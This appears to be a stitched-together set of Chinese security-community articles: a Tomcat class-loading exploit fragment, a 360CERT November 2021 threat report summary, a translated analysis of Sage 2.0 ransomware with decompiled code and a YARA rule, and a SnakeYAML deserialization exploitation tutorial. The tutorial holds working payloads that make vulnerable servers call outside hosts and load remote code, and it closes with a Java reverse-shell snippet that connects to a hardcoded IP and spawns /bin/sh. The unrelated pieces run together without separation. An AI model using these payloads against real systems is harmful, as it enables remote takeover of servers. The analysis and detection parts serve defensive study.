URLClassLoaderclassLoader = (URLClassLoader) ClassLoader
.getSystemClassLoader();
Methodadd = URLClassLoader.class.getDeclaredMethod("addURL",
newClass[] { URL.class });
add.setAccessible(true);
add.invoke(classLoader,uri);
}catch (Exception exp) {
exp.printStackTrace();
}
以上讲的方法应该是没办法通过jar包签名防的。其实，还有另一个全版本通用的方法，只不过这个方法需要你上传一个jar，如果没有做jar包签名检查的话，这个更好用一些。。
之前讲过，有相同类的话，tomcat会用第一个加载的，我们现在已经能通过修改web.xml来触发重新加载了，那么只需要让tomcat优先加载我们上传的jar就行了。
经我测试。。tomcat加载jar的顺序是根据名称字母排序。。。还记得我开头提到的那个raal.jar么。。你是不是明白了啥？
POC代码不放了哈，思路并不复杂。感兴趣的话大家可以从最后那个方法开始试。
| 社区文章 |
# 360CERT《网络安全十一月月报》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
当前，随着数字化浪潮的不断加快，网络空间博弈上升到全新高度。潜在的漏洞风险持续存在，全球各类高级威胁层出不穷。洞悉国内外网络安全形势，了解网络安全重要漏洞是建设好自身安全能力的重要基石。在此背景下，360CERT推出《网络安全月报》，总结本月国内外安全漏洞、网络安全重大事件、恶意软件攻击态势、移动安全情况等。每个章节中都具备总结性文字、重点罗列、图表分析等展现形式，方便读者了解本月网络安全态势。
## 目录预览
## 网络安全月度综述
### 安全漏洞
2021年11月，360CERT共收录28个漏洞，其中严重8个，高危15个，中危5个。主要漏洞类型包含特权提升、代码执行、UAF、拒绝服务等。涉及的厂商主要是Apache
、Linux、VMware、Windows、Google等。
### 安全事件
本月收录安全事件278项，话题集中在数据泄露、恶意程序、网络攻击方面，涉及的组织有：Microsoft、Google、Twitter、Facebook、Apple、FBI、YouTube等。涉及的行业主要包含IT服务业、制造业、金融业、政府机关及社会组织、医疗行业、交通运输业等。
### 恶意程序
勒索病毒传播至今，360反勒索服务已累计接收到上万勒索病毒感染求助。随着新型勒索病毒的快速蔓延，企业数据泄露风险不断上升，勒索金额在数百万到近亿美元的勒索案件不断出现。勒索病毒给企业和个人带来的影响范围越来越广，危害性也越来越大。360安全大脑针对勒索病毒进行了全方位的监控与防御，为需要帮助的用户提供360反勒索服务。
2021年11月，全球新增的活跃勒索病毒家族有:Doyuk2、HarpoonLocker、Rozbeh、BlackCocaine、Cryt0y、Flowey、54BB47H
(Sabbath)、Entropy、ROOK、RobinHood、AvGhost
等勒索病毒家族，其中54BB47H
(Sabbath)、Entropy、ROOK、RobinHood四个家族为本月新增的双重勒索病毒家族；本月最值得关注的勒索病毒Magniber，该勒索病毒家族通过网页挂马疯狂传播；老牌勒索家族Snatch也开始采用双重勒索模式运营;AvGhost勒索软件针对服务器进行攻击，虽然受害者联系到黑客后，黑客表示此次攻击只是测试并承诺替用户免费解密文件，但实际结果是受害者仍有大量数据无法恢复。
## 本月重要漏洞
* CVE-2021-42321:微软Exchange Server远程代码执行漏洞
* Windows Installer 权限提升漏洞
* CVE-2021-43267:Linux Kernel TIPC远程代码执行漏洞
* CVE-2021-3064：PAN-OS 远程代码执行漏洞
* CVE-2021-21980：VMware vCenter Server任意文件读取漏洞
* CVE-2021-41277: Metabase 任意文件读取漏洞
* Hadoop Yarn RPC未授权访问漏洞
## 本月重要事件
* APT组织利用CVE-2021-40539漏洞瞄准关键部门
* 印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击
* APT C-23黑客使用新安卓间谍软件变种瞄准中东用户
* 黑客在Gmail和Instagram钓鱼欺诈中利用Microsoft MSHTML漏洞
* 超过30万安卓用户下载了这些银行特洛伊木马恶意软件应用
* 50%的GitLab安装仍然受到RCE漏洞的影响
* Cloudflare缓解了迄今为止最大的DDoS攻击
* Sea Mar医疗数据被盗影响68万患者
* Magniber勒索软件升级，瞄准国内用户
* Conti勒索病毒团伙策划让Emotet僵尸网络卷土重来
* “阎罗王”勒索软件正驶入攻击美国金融部门
## 本月勒索病毒关键词
* 520
* hauhitec
* devos
* Mallox
* eking
* Makop
* Lockbit
* eight
* stax
* Magniber
## 月报部分节选段落
* 刚做到国内第一的YourData勒索病毒仅仅一个月就被Magniber取代，究其原因并非是YourData传播减弱，而是从11月初开始，Magniber的传播者利用CVE-2021-40444漏洞，在网页广告中插入相关利用代码进行传播，在国内的感染量快速提升。
* 11月5日开始，360安全大脑检测到CVE-2021-40444漏洞攻击拦截量有较明显上涨。经过360政企集团高级威胁研究分析中心分析追踪发现，这是一起挂马攻击团伙，利用CVE-2021-40444大肆传播勒索病毒的攻击事件，同时病毒在攻击过程中，还使用了PrintNightmare漏洞进行提权。该黑客团伙主要通过在色情网站、游戏网站（也存在少部分其它网站）的广告位上，投放植入带有攻击代码的广告，当用户访问到该广告页面时，就有可能中招，感染勒索病毒。
* 本月需要关注的是，Emotet僵尸网络在停摆了多月之后，于本月再次出现传播，疑似其部分运营者重启了该僵尸网络的运作。今年年初，欧洲刑警组织宣布关闭了Emotet僵尸网络的关键基础设施，这也使得Emotet僵尸网络攻击趋势出现断崖式下降。
* 在经历了10月底至11月初“看门狗”黑产团伙猛烈的钓鱼攻击后，11月的钓鱼攻击趋势开始逐步下降。“看门狗”黑产团伙也在本月逐步停止了针对特定人群的钓鱼攻击。
## 部分图表信息展示
## 部分内页展示
## 其他相关
月报下载链接：[360CERT网络安全十一月月报](http://shanghai.xstore.qihu.com/cert_public_file/%E3%80%90360CERT%E3%80%91%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%8D%81%E4%B8%80%E6%9C%88%E6%9C%88%E6%8A%A5%20.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=J1GXEJSZNSZUMQVH2ARJ%2F20211208%2Fshanghai%2Fs3%2Faws4_request&X-Amz-Date=20211208T024221Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=0f35fc7b64bc4f3791093ae051e2102d8b4a30c29db0173e869e5053d0eb927e)
月报反馈问卷：<https://www.wjx.cn/vj/PykAK1F.aspx>[](https://p5.ssl.qhimg.com/t01dde03e6449599025.jpg)
报告订阅：<https://www.wjx.top/jq/94378831.aspx>[](https://p4.ssl.qhimg.com/t0154870fa17ad3aaa0.jpg)
关注360CERT微信公众号 | 社区文章 |
# 【木马分析】针对勒索软件Sage 2.0的分析
|
##### 译文声明
本文是翻译文章，文章来源：cert.pl
原文地址：<https://www.cert.pl/en/news/single/sage-2-0-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：180RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
Sage勒索软件是勒索软件家族的一个新成员，也是勒索软件CryLocker的一个变种。从目前情况分析，隐藏在Sage背后的始作俑者与勒索软件Cerber、Locky和Spora的散布者应该师出同门。
在本文的分析案例中，Sage借助垃圾邮件进行传播扩散，恶意垃圾邮件中仅仅包含一个zip压缩文件，没有其他文字内容。该zip文件包含了一份Word宏文档，其主要功能是下载及安装Sage勒索软件。
运行该勒索软件后，Windows的UAC窗口会不断重复显示，直到用户点击“Yes”按钮，允许勒索软件运行为止。
随后勒索软件开始对文件进行加密，被加密过的文件名以“.sage”结尾。
勒索软件的赎金页面会告诉受害者去Tor网络页面支付赎金，但首先受害者需要输入正确的验证码才能访问该页面。
验证码校验通过后，受害者可以看到Sage 2.0的主页面，如下图所示。
受害者甚至可以在这个网站与软件作者进行交流。
Sage不会在加密工作结束后自我删除，而是将自身复制到“%APPDATA%Roaming”目录，每次系统重启后，Sage会重新加密所有文件，直到受害者支付赎金。
**技术分析**
接下来我们将着重从技术角度对Sage 2.0进行分析。
软件的主函数流程与以下代码类似：
int main(int argc, const char **argv, const char **envp)
{
ModCheck();
DebugCheck();
AntiDebug(v3);
if ( AntiDebugCheckMutex() )
return 0;
GetOrGenerateMainCryptoKey();
if ( IsProtectedLocale() )
{
FingerprintLocation(2);
Sleep(0x493E0u);
FingerprintLocation(2);
Sleep(0x927C0u);
FingerprintLocation(2);
SelfDelete();
result = 0;
}
else
{
if ( !CheckFingerprintLocation() )
return 0;
result = CreateThreadsAndEncrypt(&mainEncKeyt);
}
return result;
}
代码中包含很多的指纹信息探测及检查过程，这些过程都是常见流程，比较有趣的功能包括以下几点：
**1）调试开关功能**
首次运行时软件可能会出现某些问题，因此软件内置了一个调试命令行参数功能来测试软件设置参数是否正确：
LPWSTR *DebugCheck()
{
cmdLine = GetCommandLineW();
result = CommandLineToArgvW(cmdLine, &numArgs);
if ( numArgs == 2 )
{
result = (LPWSTR *)result[1];
if ( *result == 'd' && !*(result + 1) )
{
if ( AttachConsole(0xFFFFFFFF) )
{
stdout = GetStdHandle(0xFFFFFFF5);
debugmsg = sprintf_0("{"b":"%#.*s"}", 8, FingerprintDword + 4);
WriteFile(stdout, debugmsg, lstrlenA(debugmsg), &NumberOfBytesWritten, 0);
}
ExitProcess(0);
}
}
}
调试功能的运行结果如下图所示。
这个调试功能之所以存在，可能是因为作者疏忽大意，忘了从最终版本中删除相应代码。
**2）区域检查功能**
Sage 2.0的作者给了某几个国家特殊关照，如以下的区域检查代码片段：
signed int IsProtectedLocale()
{
localeCount = GetKeyboardLayoutList(10, (HKL *)&List);
if ( localeCount <= 0 )
return 0;
i = 0;
if ( localeCount <= 0 )
return 0;
while ( 1 )
{
next = (unsigned int)(&List)[i] & 0x3FF;
if ( next == 0x23 || next == 0x3F || next == 0x19 || next == 0x22 || next == 0x43 || (_WORD)next == 0x85 )
break;
if ( ++i >= localeCount )
return 0;
}
return 1;
}
上述代码对用户键盘布局进行了检测，next变量的数值与语种的对应关系为：
有点令人失望的是波兰语系并不在软件的例外列表中，如果Sage作者能看到这篇文章的话，请将0x15值添加到程序代码中（注：作者的调侃）。
**3）地理位置指纹识别功能**
Sage试图通过maps.googleapis.com得到宿主机的地理位置信息以及SSID、MAC信息，如以下代码：
strcpy_((int)arg0, "/maps/api/browserlocation/json?browser=firefox&sensor=true");
i = 0;
if ( v12[1] )
{
offset = 0;
do
{
ss_ = (int)&v12[offset + 2];
if ( *(_DWORD *)ss_ <= 0x20u )
{
ToHexStrring(&mac, (unsigned __int8 *)&v12[offset + 12]);
str_append(ssid, (_BYTE *)(ss_ + 4), *(_DWORD *)ss_);
ssid[*(_DWORD *)ss_] = 0;
sprintf_1((int)arg0, "&wifi=mac:%s|ssid:%s|ss:%d", &mac, ssid, (*(_DWORD *)(ss_ + 60) >> 1) - 100);
}
++i;
offset += 90;
}
while ( i < v12[1] );
}
// ...
DoHttpGetRequest((DWORD)&dwNumberOfBytesAvailable, "maps.googleapis.com", 0x1BBu, v8)
特征文件判定，文件加密流程开始前，Sage首先检查某个特征文件是否存在：
if ( CreateFileW(L"C:\Temp\lol.txt", 0x80000000, 1u, 0, 3u, 0, 0) == (HANDLE)-1 )
{
// encryption code
}
Sage作者通过判断特征文件是否存在，决定加密流程是否启动，以避免对作者本机的文件造成影响。
若该特征文件不存在，Sage将启动加密流程。
**文件后缀清单**
Sage不会对所有文件进行加密，它只对文件后缀清单中的文件进行加密，受影响的文件后缀如下所示：
.dat .mx0 .cd .pdb .xqx .old .cnt .rtp .qss .qst .fx0 .fx1 .ipg .ert .pic .img
.cur .fxr .slk .m4u .mpe .mov .wmv .mpg .vob .mpeg .3g2 .m4v .avi .mp4 .flv
.mkv .3gp .asf .m3u .m3u8 .wav .mp3 .m4a .m .rm .flac .mp2 .mpa .aac .wma .djv
.pdf .djvu .jpeg .jpg .bmp .png .jp2 .lz .rz .zipx .gz .bz2 .s7z .tar .7z .tgz
.rar .zip .arc .paq .bak .set .back .std .vmx .vmdk .vdi .qcow .ini .accd .db
.sqli .sdf .mdf .myd .frm .odb .myi .dbf .indb .mdb .ibd .sql .cgn .dcr .fpx
.pcx .rif .tga .wpg .wi .wmf .tif .xcf .tiff .xpm .nef .orf .ra .bay .pcd .dng
.ptx .r3d .raf .rw2 .rwl .kdc .yuv .sr2 .srf .dip .x3f .mef .raw .log .odg .uop
.potx .potm .pptx .rss .pptm .aaf .xla .sxd .pot .eps .as3 .pns .wpd .wps .msg
.pps .xlam .xll .ost .sti .sxi .otp .odp .wks .vcf .xltx .xltm .xlsx .xlsm
.xlsb .cntk .xlw .xlt .xlm .xlc .dif .sxc .vsd .ots .prn .ods .hwp .dotm .dotx
.docm .docx .dot .cal .shw .sldm .txt .csv .mac .met .wk3 .wk4 .uot .rtf .sldx
.xls .ppt .stw .sxw .dtd .eml .ott .odt .doc .odm .ppsm .xlr .odc .xlk .ppsx
.obi .ppam .text .docb .wb2 .mda .wk1 .sxm .otg .oab .cmd .bat .h .asx .lua .pl
.as .hpp .clas .js .fla .py .rb .jsp .cs .c .jar .java .asp .vb .vbs .asm .pas
.cpp .xml .php .plb .asc .lay6 .pp4 .pp5 .ppf .pat .sct .ms11 .lay .iff .ldf
.tbk .swf .brd .css .dxf .dds .efx .sch .dch .ses .mml .fon .gif .psd .html
.ico .ipe .dwg .jng .cdr .aep .aepx .123 .prel .prpr .aet .fim .pfb .ppj .indd
.mhtm .cmx .cpt .csl .indl .dsf .ds4 .drw .indt .pdd .per .lcd .pct .prf .pst
.inx .plt .idml .pmd .psp .ttf .3dm .ai .3ds .ps .cpx .str .cgm .clk .cdx .xhtm
.cdt .fmv .aes .gem .max .svg .mid .iif .nd .2017 .tt20 .qsm .2015 .2014 .2013
.aif .qbw .qbb .qbm .ptb .qbi .qbr .2012 .des .v30 .qbo .stc .lgb .qwc .qbp
.qba .tlg .qbx .qby .1pa .ach .qpd .gdb .tax .qif .t14 .qdf .ofx .qfx .t13 .ebc
.ebq .2016 .tax2 .mye .myox .ets .tt14 .epb .500 .txf .t15 .t11 .gpc .qtx .itf
.tt13 .t10 .qsd .iban .ofc .bc9 .mny .13t .qxf .amj .m14 ._vc .tbp .qbk .aci
.npc .qbmb .sba .cfp .nv2 .tfx .n43 .let .tt12 .210 .dac .slp .qb20 .saj .zdb
.tt15 .ssg .t09 .epa .qch .pd6 .rdy .sic .ta1 .lmr .pr5 .op .sdy .brw .vnd .esv
.kd3 .vmb .qph .t08 .qel .m12 .pvc .q43 .etq .u12 .hsr .ati .t00 .mmw .bd2 .ac2
.qpb .tt11 .zix .ec8 .nv .lid .qmtf .hif .lld .quic .mbsb .nl2 .qml .wac .cf8
.vbpf .m10 .qix .t04 .qpg .quo .ptdb .gto .pr0 .vdf .q01 .fcr .gnc .ldc .t05
.t06 .tom .tt10 .qb1 .t01 .rpf .t02 .tax1 .1pe .skg .pls .t03 .xaa .dgc .mnp
.qdt .mn8 .ptk .t07 .chg .#vc .qfi .acc .m11 .kb7 .q09 .esk .09i .cpw .sbf .mql
.dxi .kmo .md .u11 .oet .ta8 .efs .h12 .mne .ebd .fef .qpi .mn5 .exp .m16 .09t
.00c .qmt .cfdi .u10 .s12 .qme .int? .cf9 .ta5 .u08 .mmb .qnx .q07 .tb2 .say
.ab4 .pma .defx .tkr .q06 .tpl .ta2 .qob .m15 .fca .eqb .q00 .mn4 .lhr .t99
.mn9 .qem .scd .mwi .mrq .q98 .i2b .mn6 .q08 .kmy .bk2 .stm .mn1 .bc8 .pfd .bgt
.hts .tax0 .cb .resx .mn7 .08i .mn3 .ch .meta .07i .rcs .dtl .ta9 .mem .seam
.btif .11t .efsl .$ac .emp .imp .fxw .sbc .bpw .mlb .10t .fa1 .saf .trm .fa2
.pr2 .xeq .sbd .fcpa .ta6 .tdr .acm .lin .dsb .vyp .emd .pr1 .mn2 .bpf .mws
.h11 .pr3 .gsb .mlc .nni .cus .ldr .ta4 .inv .omf .reb .qdfx .pg .coa .rec .rda
.ffd .ml2 .ddd .ess .qbmd .afm .d07 .vyr .acr .dtau .ml9 .bd3 .pcif .cat .h10
.ent .fyc .p08 .jsd .zka .hbk .mone .pr4 .qw5 .cdf .gfi .cht .por .qbz .ens
.3pe .pxa .intu .trn .3me .07g .jsda .2011 .fcpr .qwmo .t12 .pfx .p7b .der .nap
.p12 .p7c .crt .csr .pem .gpg .key
**加密过程**
勒索软件最有趣的部分莫过于文件的加密过程。在勒索软件中，Sage 2.0是非常特别的一个存在，因为它采用了椭圆曲线加密算法对文件进行加密。
加密所使用的椭圆曲线函数是“y^2 = x^3 + 486662x^x + x”，使用的素数范围是“2^255 –
19”，基数变量x=9。Sage所采用的椭圆曲线是著名的Curve25519曲线，是现代密码学中最先进的技术。Curve25519不仅是最快的ECC（Elliptic
Curve Cryptography，椭圆曲线加密算法）曲线之一，也不易受到弱RNG（Random Number
Generator，随机数生成器）的影响，设计时考虑了侧信道攻击，避免了许多潜在的实现缺陷，并且很有可能不存在第三方内置后门。
Sage将Curve25519算法与硬编码的公钥一起使用生成共享密钥。主密钥生成算法如下所示（结构体和函数名由我们重新命名）：
int __cdecl GenerateMainKey(curve_key *result, const void *publicKey)
{
char mysecret[32]; // [esp+4h] [ebp-40h]@1
char shared[32]; // [esp+24h] [ebp-20h]@1
result->flag = 1;
GenerateCurve25519SecretKey(mysecret);
ComputeCurve25519MatchingPublicKey(result->gpk, mysecret);
ComputeCurve25519SharedSecret(shared, mysecret, publicKey);
ConvertBytesToCurve22519SecretKey(shared);
ComputeCurve25519MatchingPublicKey(result->pk, shared);
return 0;
}
这段代码看起来像是基于ECC的DH密钥交换协议（ECDH，Elliptic Curve Diffie-Hellman）的实现代码，但其中没有任何保存算法私钥的流程（私钥只用于数据解密用途，可由软件作者可以使用自己的私钥随时创建）。
代码中复杂的函数只是ECC函数（我们称之为CurveEncrypt函数）的封装而已。例如，计算匹配公钥的函数是curve25519(secretKey,
basePoint)，其中basePoint等于9（即9后面跟31个零）。
int __cdecl ComputeCurve25519MatchingPublicKey(char *outPtr, char *randbytes)
{
char key[32]; // [esp+8h] [ebp-20h]@1
qmemcpy(key, &Curve25519BasePoint, sizeof(key));
key[31] = Curve25519BasePointEnd & 0x7F;
return CurveEncrypt(outPtr, randbytes, key);
}
共享密钥的计算与之类似，不同的是所使用的是公钥而不是常数基数，如下：
int __cdecl ComputeCurve25519SharedSecret(char *shared, char *mySecret, const void *otherPublicKey)
{
char a3a[32]; // [esp+8h] [ebp-20h]@1
qmemcpy(a3a, otherPublicKey, sizeof(a3a));
a3a[31] &= 0x7Fu;
return CurveEncrypt(shared, mySecret, a3a);
}
得益于Curve25519的精妙设计，任意序列随机字节与密钥之间的相互转换是非常容易的，只需要对几个比特进行修改就已足够：
curve_key *__cdecl ConvertBytesToCurve22519SecretKey(curve_key *a1)
{
curve_key *result; // eax@1
char v2; // cl@1
result = a1;
v2 = a1->gpk[31];
result->gpk[0] &= 248u;
a1->gpk[31] = v2 & 0x3F | 0x40;
return result;
}
同理，私钥的生成也非常容易，只需要生成一个32字节的随机数，将其转换为私钥即可：
int __cdecl GenerateCurve25519SecretKey(_BYTE *buffer)
{
char v1; // al@1
getSecureRandom(32, (int)buffer);
v1 = buffer[31];
*buffer &= 248u;
buffer[31] = v1 & 0x3F | 0x40;
return 0;
}
以上就是密钥生成的全部流程。至于文件加密流程，Sage首先是使用Curve25519对文件进行首次加密，再利用ChaCha算法进行后续加密（同样也是非常规加密方法），加密密钥附在输出文件的尾部：
GenerateCurve25519SecretKey(&secretKey);
ComputeCurve25519MatchingPublicKey(pubKey, &secretKey);
ComputeCurve25519SharedSecret(sharedSecret, &secretKey, ellipticCurveKey->pk);
//
ChaChaInit(&chaCha20key, (unsigned __int8 *)sharedSecret, (unsigned __int8 *)minikey);
while (bytesLeftToRead) {
// Read from file to lpBuff
ChaChaEncrypt(&chaCha20key, lpBuff, lpBuff, numBytesRead);
// Write from file to lpBuff
}
AppendFileKeyInfo(hFile_1, ellipticCurveKey, &FileSize, pubKey, a5);
AppendFileKeyInfo函数的功能是将共享密钥和pubKey附加到文件尾部：
int __cdecl AppendFileKeyInfo(HANDLE hFile, curve_key *sharedKey, DWORD *dataSize, char *pubKey, int a5)
{
DWORD dataSizeV; // edx@1
int result; // eax@3
_DWORD buffer[24]; // [esp+8h] [ebp-60h]@1
buffer[0] = 0x5A9EDEAD;
qmemcpy(&buffer[1], sharedKey, 0x20u);
qmemcpy(&buffer[9], pubKey, 0x20u);
dataSizeV = *dataSize;
buffer[19] = dataSize[1];
buffer[18] = dataSizeV;
buffer[21] = a5;
buffer[20] = 0;
buffer[22] = 0x5A9EBABE;
if ( WriteFile(hFile, buffer, 0x60u, (LPDWORD)&sharedKey, 0) && sharedKey == (curve_key *)96 )
result = 0;
else
result = -5;
return result;
}
ChaCha并不是勒索软件常用的算法，它与Salsa20算法紧密相关（勒索软件Petya用的就是Salsa20算法）。我们并不知道为何Sage不适用AES，有可能它只是想特立独行而已。
换而言之，对于每一个加密文件，都对应有两组密钥+一个密钥对，对应关系如下所示：
my_secret <- random
my_public <- f(my_secret) # gpk
sh_secret <- f(my_secret, c2_public)
sh_public <- f(sh_secret) # pk
fl_secret <- random
fl_public <- f(fl_secret)
fl_shared <- f(fl_secret, sh_public)
chachakey <- f(fl_shared)
Sage完成加密工作后，我们只获得了其中my_public、sh_public以及fl_shared的值，我们还需要获得chachakey的值才能正确解密文件。
Sage采用了相当牢固的加密方法，可以在离线状态下加密文件，不需要连接C&C服务器进行密钥协商，原因在于加密所需要的公钥已经硬编码在勒索软件中，并且经过了非对称加密处理。如果Sage作者没有犯太大的编程错误的话，那么文件的解密恢复就渺渺无期。当然，主加密密钥最终总是有可能会被泄露或者公布出来的。
**附加信息**
**匹配Sage所使用的Yara规则：**
rule sage
{
meta:
author="msm"
strings:
/* ransom message */
$ransom1 = "ATTENTION! ALL YOUR FILES WERE ENCRYPTED!"
$ransom2 = "SAGE 2.0 uses military grade elliptic curve cryptography and you"
/* other strings */
$str0 = "!Recovery_%s.html"
$str1 = "/CREATE /TN "%s" /TR "%s" /SC ONLOGON /RL HIGHEST /F"
/* code */
$get_subdomain = {8B 0D ?? ?? 40 00 6A ?? [2] A1 ?? ?? 40 00 5? 5? 50 51 53 E8}
$debug_file_name = {6A 00 6A 01 68 00 00 00 80 68 [4] FF 15 [4] 83 F8 FF}
$get_request_subdomain = {74 ?? A1 [4] 5? 5? 68 ?? ?? 40 00 E8}
$get_ec_pubkey = {68 [2] 40 00 68 [2] 40 00 E8 [4] 68 B9 0B 00 00 6A 08 E8}
$get_extensions = { 8B 35 [2] 40 00 [0-3] 80 3E 00 74 24 }
condition:
all of ($ransom*) and any of ($str*)
and any of ($get_subdomain, $debug_file_name, $get_request_subdomain, $get_ec_pubkey, $get_extensions)
}
**样本哈希值（SHA256）：**
sample 1, 362baeb80b854c201c4e7a1cfd3332fd58201e845f6aebe7def05ff0e00bf339
sample 2, 3b4e0460d4a5d876e7e64bb706f7fdbbc6934e2dea7fa06e34ce01de8b78934c
sample 3, ccd6a495dfb2c5e26cd65e34c9569615428801e01fd89ead8d5ce1e70c680850
sample 4, 8a0a191d055b4b4dd15c66bfb9df223b384abb75d4bb438594231788fb556bc2
sample 5, 0ecf3617c1d3313fdb41729c95215c4d2575b4b11666c1e9341f149d02405c05
**其他资料：**
<https://www.govcert.admin.ch/blog/27/saga-2.0-comes-with-ip-generation-algorithm-ipga> | 社区文章 |
## 反序列化探测
### 使用URLClassLoader探测
String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";
### 使用Key调用hashCode方法探测
#### 外部探测漏洞点
String poc = "{!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
我们根据urldns链可以知道key会进行hashCode方法的调用，之后进行urldns的解析
SnakeYaml在进行map的处理的时候将会对key进行hashCode处理，所以我们尝试map的格式
HashMap hashMap = new HashMap();
hashMap.put("a", "a");
hashMap.put("b", "b");
System.out.println(yaml.dump(hashMap));
// {a: a, b: b}
所以我们就可以按照这种使用`{ }`包裹的形式构造map，然后将指定的URL置于key位置
#### 探测内部类
String poc = "{!!java.util.Map {}: 0,!!java.net.URL [\"http://tcbua9.ceye.io/\"]: 1}";
在前面加上需要探测的类，在反序列化的过程中如果没有报错，说明反序列化成功了的，进而存在该类
这里创建对象的时候使用的是`{}`这种代表的是无参构造，所以需要存在有无参构造函数，不然需要使用`[]`进行复制构造
## trick
### 替代 !!指定类
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");
1. 使用 `! <>`结合的方法
> 使用这个需要使得反序列化的类有一个单参构造器
//test
!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL> ["http://tcbua9.ceye.io/"]]]]
//"{!<tag:yaml.org,2002:str> dataSourceName: ldap://120.53.29.60:1389/skgw2z, !<tag:yaml.org,2002:bool> autoCommit: true}"
2. 使用`%TAG ! tag.yaml.org,2002`提前声明
> 要求也是需要有有参构造器；不过这里可以传入[]进行参数的赋值；所以无论几个参数都是可以的
//test
%TAG ! tag:yaml.org,2002:
--- !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://tcbua9.ceye.io/"]]]]
SnakeYAML反序列化
### 简介
YAML是”YAML Ain’t a Markup Language”；它并不是一种标记语言，而是用来表示序列化的一种格式
他是JAVA用于解析YAML格式的库
### 分析
它使用`new Yaml()`对象进行序列化和反序列化
* Yaml.load()：入参是一个字符串或者一个文件，经过序列化之后返回一个Java对象；
* Yaml.dump()：将一个对象转化为yaml文件形式；
按照Y4的说法， **当不存在某个属性，或者存在属性但是不是由public修饰的时候会调用set方法**
做出测试验证：
public class User {
private String name;
public String passwd;
Integer age;
public User() {
System.out.println("构造方法。。。。。");
}
public void setName(String name) {
System.out.println("setName...........");
this.name = name;
}
public void setPasswd(String passwd) {
System.out.println("setPasswd..........");
this.passwd = passwd;
}
public void setAge(Integer age) {
System.out.println("setAge............");
this.age = age;
}
public void setTest(String test) {
System.out.println("setTest..........");
}
}
其中`passwd`属性为`public`修饰，且存在一个不存在属性的setter方法
import org.yaml.snakeyaml.Yaml;
import java.io.FileNotFoundException;
public class Test {
public static void main(String[] args) throws FileNotFoundException {
Yaml yaml = new Yaml();
yaml.load("!!study.snakeyaml.User {name: abc, passwd: bn, age: 870, test: 89}");
}
}
#### 反序列化过程分析
在`Yaml.load`方法中，首先会创建一个`StreamReader`对象，将yaml.load中的值传入，之后将这个对象传入`loadFromReader`中
接着调用了`getSingleData`方法，且此时的`type`是一个Object类型，也可以知道这个yaml是一个类
之后跟进`getSingleData`方法，首先通过了之前创建的`Composer`对象创建了一个结点，如果结点为空，就证明没有内容，返回null值，如果不为空但是type不为Object类型，就会通过`setTag`方法将传入的`type`强添入结点，如果为Object类型，就跳过，之后调用了`constructDocument`方法
跟进，首先判断了`constructedObjects` `recursiveObjects`里面是否有了node结点,
这里不存在，之后将结点添加进入了`recursiveObjects`，之后通过`getConstructor`得到node结点的`constructor`,
进而调用`construct`方法得到对象
在`construct`方法中，通过调用`constructJavaBean2ndStep`返回对象
我们跟进`createEmptyJavaBean`方法，通过反射得到了类的构造函数之后通过`newInstance`进行实例化
接着回到了`construct`方法中，之后跟进`constructJavaBean2ndStep`方法，之后再`PropertyUtils.getPropertiesMap`中存在是否是`isPublic`的判断，
如果是public修饰，调用org.yaml.snakeyaml.introspector.FieldProperty#get，这个只是反射获取值
### 原理
主要是通过`!!`指定反序列化的类，并且在反序列化该类的同时会实例化，之后通过`URLClassLoader` `LDAP`
`RMI`等方式远程加载字节码，进行执行恶意代码
### 利用链
#### 利用SPI机制-基于ScriptEngineManager利用链
##### 什么是SPI
服务提供发现机制
`SPI`就是为相关接口实现动态实现类的机制，如果需要使用它需要在`ClassPath`下的`META-INF/services/`目录中创建一个以服务接口命名的文件，文件里面的内容是这个接口的具体实现类的全限定类名
**例子：**
[github项目](https://github.com/artsploit/yaml-payload)
在`src`目录下创建了`META-INF/services/exploit/javax.script.ScriptEngineFactory`
写入了`exploit.AwesomeScriptEngineFactory`
创建了`exploit/AwesomeScriptEngineFactory.java`实现了`ScriptEngineFactory`接口的类
之后编译和打包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
添加Socket反弹shell
//利用socket反弹shell
String host = "120.24.207.121";
int port = 8080;
String cmd = "/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
java.net.Socket s = new java.net.Scoket(host, port);
java.io.InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
java.io.OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0) {
so.write(pi.read());
}
while(pe.available()>0) {
so.write(pe.read());
}
while(si.available()>0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
